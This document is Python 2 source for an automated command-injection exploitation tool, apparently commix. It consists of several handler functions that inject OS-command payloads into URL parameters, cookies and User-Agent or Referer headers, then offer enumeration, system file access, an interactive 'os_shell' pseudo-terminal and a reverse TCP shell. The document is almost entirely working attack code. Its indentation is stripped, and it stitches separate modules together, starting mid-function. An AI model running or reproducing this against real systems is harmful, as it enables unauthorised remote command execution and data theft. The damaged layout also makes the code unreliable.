if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again)
if go_back:
break
else:
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
shell = "".join(str(p) for p in shell)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
if not shell or shell == "":
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(err_msg) + "\n"
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
def fb_injection_handler(url, delay, filename, http_request_method,
url_time_response):
counter = 1
failed_tries = 20
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
export_injection_info = False
injection_type = "Semiblind-based Command Injection"
technique = "file-based semiblind injection technique"
# Set temp path
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
print "(*) Testing the " + technique + "... "
if menu.options.file_dest:
if '/tmp/' in menu.options.file_dest:
call_tmp_based = True
SRV_ROOT_DIR = os.path.split(menu.options.file_dest)[0]
else:
if menu.options.srv_root_dir:
SRV_ROOT_DIR = menu.options.srv_root_dir
else:
SRV_ROOT_DIR = settings.SRV_ROOT_DIR
i = 0
# Calculate all possible combinations
total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(
settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
i = i + 1
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase) for i in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell:
payload = fb_payloads.decision_alter_shell(
separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG,
OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Check if defined "--verbose" option.
if menu.options.verbose:
print Fore.GREY + "(~) Payload: " + payload.replace(
"\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = fb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = fb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = fb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(
payload, http_request_method, url)
# Find the directory.
path = url
path_parts = path.split('/')
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
output = url.replace(last_param, OUTPUT_TEXTFILE)
time.sleep(delay)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
sys.stdout.write("\r(*) Trying to upload the '" +
OUTPUT_TEXTFILE + "' on " +
SRV_ROOT_DIR + "... [ " +
percent + " ]")
sys.stdout.flush()
except urllib2.HTTPError, e:
if e.getcode() == 404:
percent = ((i * 100) / total)
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(
menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, delay, filename,
tmp_path, http_request_method,
url_time_response)
raise
# Show an error message, after 20 failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == failed_tries:
if not menu.options.verbose:
print ""
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write on " + SRV_ROOT_DIR + "." + Style.RESET_ALL
while True:
tmp_upload = raw_input(
"(?) Do you want to try the temporary directory ("
+ tmp_path + ") [Y/n] > ").lower()
if tmp_upload in settings.CHOISE_YES:
exit_loops = True
tfb_controller(no_result, url, delay,
filename, tmp_path,
http_request_method,
url_time_response)
if no_result == True:
return False
elif tmp_upload in settings.CHOISE_NO:
break
else:
if tmp_upload == "":
tmp_upload = "enter"
print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL
pass
continue
else:
if exit_loops == False:
if not menu.options.verbose:
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(percent) + "%"
else:
percent = str(percent) + "%"
sys.stdout.write(
"\r(*) Trying to upload the '" +
OUTPUT_TEXTFILE + "' on " +
SRV_ROOT_DIR + "... [ " + percent +
" ]")
sys.stdout.flush()
continue
else:
continue
else:
raise
elif e.getcode() == 401:
print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n"
sys.exit(0)
elif e.getcode() == 403:
print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n"
sys.exit(0)
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix,
suffix, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell)
raise
except urllib2.URLError, e:
#print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL
sys.exit(0)
except:
continue
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
percent = 0
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
export_injection_info = False
how_long = 0
injection_type = "Blind Command Injection"
technique = "time-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in "+ technique +"." + Style.RESET_ALL
percent = str(percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Log previous 'how_long' for later comparison
previous_how_long = how_long
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if how_long == previous_how_long + delay:
# Time relative false positive fixation.
if len(TAG) == output_length:
tmp_how_long = how_long
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "(" + str(randv1) + "+" + str(randv2) + ")"
# Check for false positive resutls
how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long)
if str(tmp_how_long) == str(how_long) and \
str(output) == str(randvcalc) and \
len(TAG) == output_length:
is_vulnerable = True
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
continue
else:
percent = str(float_percent)+"%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
break
# Yaw, got shellz!
# Do some magic tricks!
if how_long == previous_how_long + delay:
if (len(TAG) == output_length) and (is_vulnerable == True):
found = True
no_result = False
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
if enumerate_again in settings.CHOISE_YES:
tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
if file_access_again in settings.CHOISE_YES:
tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
# Exploirt injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
sys.exit(0)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
while True:
try:
# Tab compliter
readline.set_completer(menu.tab_completer)
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp()
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACES[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
# Exploirt injection result
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
# Exploirt injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def cb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
is_encoded= False
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "classic injection technique"
sys.stdout.write("(*) Testing the "+ technique + "... ")
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if separator == " " :
payload = re.sub(" ", "%20", payload)
else:
payload = re.sub(" ", whitespace, payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)
# Evaluate test results.
shell = cb_injector.injection_test_results(response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i*100)/total)
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(percent)+"%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
http_request_method = "cookie"
found_vuln_parameter = vuln_parameter
else:
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ") '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to "+ injection_type +"."+ Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL
# Check for any enumeration options.
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
# Check for any system file access options.
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
# Pseudo-Terminal shell
while True:
gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd == "q":
sys.exit(0)
else:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
if shell:
shell = "".join(str(p) for p in shell)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
print ""
sys.exit(0)
elif gotshell in settings.CHOISE_NO:
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
sys.stdout.flush()
break
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
if no_result == True:
if menu.options.verbose == False:
print ""
return False
else:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method,
url_time_response):
# percent = "0.2"
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
how_long_statistic = 0
export_injection_info = False
how_long = 0
injection_type = "Semiblind Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in " + technique + "!" + Style.RESET_ALL
# percent = str(percent)+ "%"
# sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
# sys.stdout.flush()
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell:
payload = tfb_payloads.decision_alter_shell(
separator, output_length, TAG, OUTPUT_TEXTFILE,
delay, http_request_method)
else:
payload = tfb_payloads.decision(
separator, output_length, TAG, OUTPUT_TEXTFILE,
delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Encode payload to Base64
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY +
"(~) Payload: " +
payload.replace("\n", "\\n") +
Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
how_long = tfb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(
payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(((num_of_chars * 100) / (total * 1.0)), 2))
# Statistical analysis in .
how_long_statistic = how_long_statistic + how_long
if output_length == tag_length - 1:
how_long_statistic = 0
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
if len(TAG) == output_length and \
how_long > (how_long_statistic / output_length):
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
randv1) + " + " + str(
randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(
randv1) + " + " + str(
randv2) + ")"
else:
cmd = "echo $((" + str(
randv1) + " + " + str(
randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(
separator, TAG, cmd, prefix, suffix,
delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
randvcalc, alter_shell, how_long,
url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(
randvcalc) and len(
TAG) == output_length:
is_vulnerable = True
how_long_statistic = 0
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
continue
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
continue
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(((num_of_chars * 100) / (total * 1.0)), 2))
if percent == 100:
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(float_percent) + "%"
#Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and (is_vulnerable
== True):
found = True
no_result = False
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, http_request_method,
vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
